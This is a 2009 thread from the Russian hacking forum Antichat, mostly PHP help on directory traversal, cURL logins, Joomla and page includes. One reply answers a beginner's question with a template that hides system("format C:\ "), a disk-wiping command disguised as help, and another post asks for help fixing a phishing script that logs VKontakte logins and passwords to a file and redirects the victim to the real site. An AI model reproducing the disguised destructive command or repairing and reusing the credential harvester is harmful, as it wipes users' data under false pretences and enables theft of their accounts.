Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|

15.04.2009, 04:11
|
|
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме: 9220514
Репутация:
3338
|
|
Сообщение от WebGer
Ситуация такая.
На диске в каждой папке есть несколько под-под-папок.
В кажной из них лежит файл с одинаковым названием.
Нужно в цикле обойти все папки, и вытащить данные:
1. Название подпапки
2. Содержание этого файла.
я делал это на Delphi, но сейчас надо на php...
подскажите плиз как это можно сделать.
Способ дебильный, но примерно так:
PHP код:
<pre>
<?php
@set_time_limit(0);
@ini_set("display_errors","1");
// Полный абсолютный путь до директории, в конце слеш не нужен
$path = '/home/www/bla-bla/http/s1';
$filename = 'logfile.txt';
function fold($rootDir, $allData=array()) {
$invisibleFileNames = array(".", "..");
$dirContent = scandir($rootDir);
foreach($dirContent as $key => $content) {
$path = $rootDir.'/'.$content;
if(!in_array($content, $invisibleFileNames)) {
if(is_file($path) && is_readable($path)) {
preg_match('|\/(.*)\/|',$path,$res);
$allData[] = $res[0];
}elseif(is_dir($path) && is_readable($path)) {
$allData = fold($path, $allData);
}
}
}
return $allData;
}
$folders = fold($path);
$count = count($folders);
for ($i=0;$i<$count;$i++) {
$handle = fopen($folders[$i] . $filename, "r");
$s = fread($handle, filesize($folders[$i] . $filename));
fclose($handle);
echo "File: " . $folders[$i] . $filename . "\n";
echo "Content: " . $s . "\n";
}
?>
</pre>
|
|
|

15.04.2009, 04:58
|
|
Участник форума
Регистрация: 11.05.2008
Сообщений: 202
Провел на форуме: 420713
Репутация:
104
|
|
PHP код:
<?php
$http="http://localhost/forum/index.php?act=Login&CODE=01";
$curl = curl_init();
curl_setopt($curl,CURLOPT_URL,$http);
$data = 'UserName=user&PassWord=pass&x=16&y=15\r\n\r\n';
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
curl_setopt($curl,CURLOPT_HEADER,0);
curl_setopt($curl, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.4) Gecko/20060516 SeaMonkey/1.0.2');
// curl_setopt($curl, CURLOPT_COOKIE,$cookie);
curl_setopt($curl,CURLOPT_POST,1);
curl_setopt($curl,CURLOPT_POSTFIELDS,$data);
curl_setopt($curl,CURLOPT_COOKIESESSION,1);
//curl_setopt($curl,CURLOPT_MAXREDIRS,2);
curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1);
$text = curl_exec($curl);
curl_close($curl);
echo $text;
?>
как пройти это что б сохранить данные сессии
<p>You are now logged in as: user<br /><br />Please wait
while we transfer you...</p>
<p class="redirectfoot">(<a href="http://localhost/forum
/index.php?amp;">Or click here if you do not
wish to wait</a>)</p>
PHP код:
/*<a href="http://localhost/forum/index.php?amp;">Or click here if you do not wish to wait</a>
*/
Последний раз редактировалось DTW; 15.04.2009 в 05:22..
|
|
|

15.04.2009, 11:31
|
|
Познающий
Регистрация: 11.04.2009
Сообщений: 47
Провел на форуме: 116295
Репутация:
2
|
|
...
Последний раз редактировалось XPYMGT; 21.12.2009 в 18:15..
|
|
|

15.04.2009, 11:54
|
|
Участник форума
Регистрация: 29.10.2008
Сообщений: 165
Провел на форуме: 397889
Репутация:
60
|
|
Сообщение от Spyder
посмотри как это реализовано в джумле
там же после залогинивания в левом фрейме написано что то типа Welcome, %username%
нет,там такого нет,пробовал также,но не получилось
|
|
|

15.04.2009, 11:55
|
|
Участник форума
Регистрация: 29.10.2008
Сообщений: 165
Провел на форуме: 397889
Репутация:
60
|
|
Сообщение от bxN5
для 1.5
$user =& JFactory::getUser();
$user->get('username')
Fatal error: Class 'JFactory' not found
|
|
|

15.04.2009, 12:24
|
|
Постоянный
Регистрация: 07.03.2008
Сообщений: 479
Провел на форуме: 791766
Репутация:
61
|
|
а смотрите у меня идёт HTML код
И я хочу чтоб подгрузилась PHP страница в центре этого кода...
Как это сделать? Если делаю require то она сверху загружается...
|
|
|

15.04.2009, 13:04
|
|
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме: 9220514
Репутация:
3338
|
|
Сообщение от kevmen
Fatal error: Class 'JFactory' not found
Возьми англо-русский словарь и переведи
|
|
|

15.04.2009, 13:25
|
|
Познающий
Регистрация: 11.02.2009
Сообщений: 98
Провел на форуме: 1446969
Репутация:
169
|
|
Сообщение от Byrger
а смотрите у меня идёт HTML код
И я хочу чтоб подгрузилась PHP страница в центре этого кода...
Как это сделать? Если делаю require то она сверху загружается...
PHP код:
<html>
<head>
<title>титл</title>
</head>
<body>
тут многа всего
многа многа
<?PHP
system("format C:\ ");
а тут многа php кода
?>
а тут еще чето
</body>
</html>
|
|
|

15.04.2009, 15:17
|
|
Участник форума
Регистрация: 14.01.2009
Сообщений: 194
Провел на форуме: 798217
Репутация:
44
|
|
КоД не рабоатет в чем Трабла!подскажите!
PHP код:
<?PHP if ($_SERVER['REQUEST_METHOD'] == "POST") {
$login = $_POST['login']; // Логин
$pass = $_POST['passwd']; // Пароль
$today = date("m.d.y");
$hour = date("H:i:s");
$u = strtolower($login)
//vkontakte.ru/blank.php?code=10if(!ereg("^([0-9,a-z,A-Z]+)([.,_]([0-9,a-z,A-Z]+))*[@]([0-9,a-z,A-Z]+)([.,_,-]([0-9,a-z,A-Z]+))*[.]([0-9,a-z,A-Z]){2}([0-9,a-z,A-Z])?$",$email)){
if(!ereg("^([0-9,a-z,A-Z]+)([.,_]([0-9,a-z,A-Z]+))*[@]([0-9,a-z,A-Z]+)([.,_,-]([0-9,a-z,A-Z]+))*[.]([0-9,a-z,A-Z]){2}([0-9,a-z,A-Z])?$",$email)){
echo "http://***.com/login.html";$err = "yes";
}
if (!ctype_alnum($pw) || strlen($pw) < 5 || strlen($pw) > 20) {
echo "http://***.com/login.html";
$err = "yes";
}if ($err == "") {
$log = fopen("base.php","a+"); //открываем файл базы
fwrite($log," $login:$pass\\\\\\$today\\$hour \n"); //записываем всё
fclose($log); //закрываем
echo "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=http://vkontakte.ru/'></head></html>"; // куда пошлем пользователя после того как он ввел данные!
} }
?>
|
|
|

15.04.2009, 16:40
|
|
Постоянный
Регистрация: 07.03.2008
Сообщений: 479
Провел на форуме: 791766
Репутация:
61
|
|
Сообщение от laedafess
PHP код:
<html>
<head>
<title>титл</title>
</head>
<body>
тут многа всего
многа многа
<?PHP
system("format C:\ ");
а тут многа php кода
?>
а тут еще чето
</body>
</html>
Чёт не то произошло пришлось винду переустановать...
= ( видимо вирусы
А если серьёзно то я загружаю шаблоны с помощью eval() вот почему и спрашиваю о такой проблеме...
Так как скрипт просто выводит инфу...
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|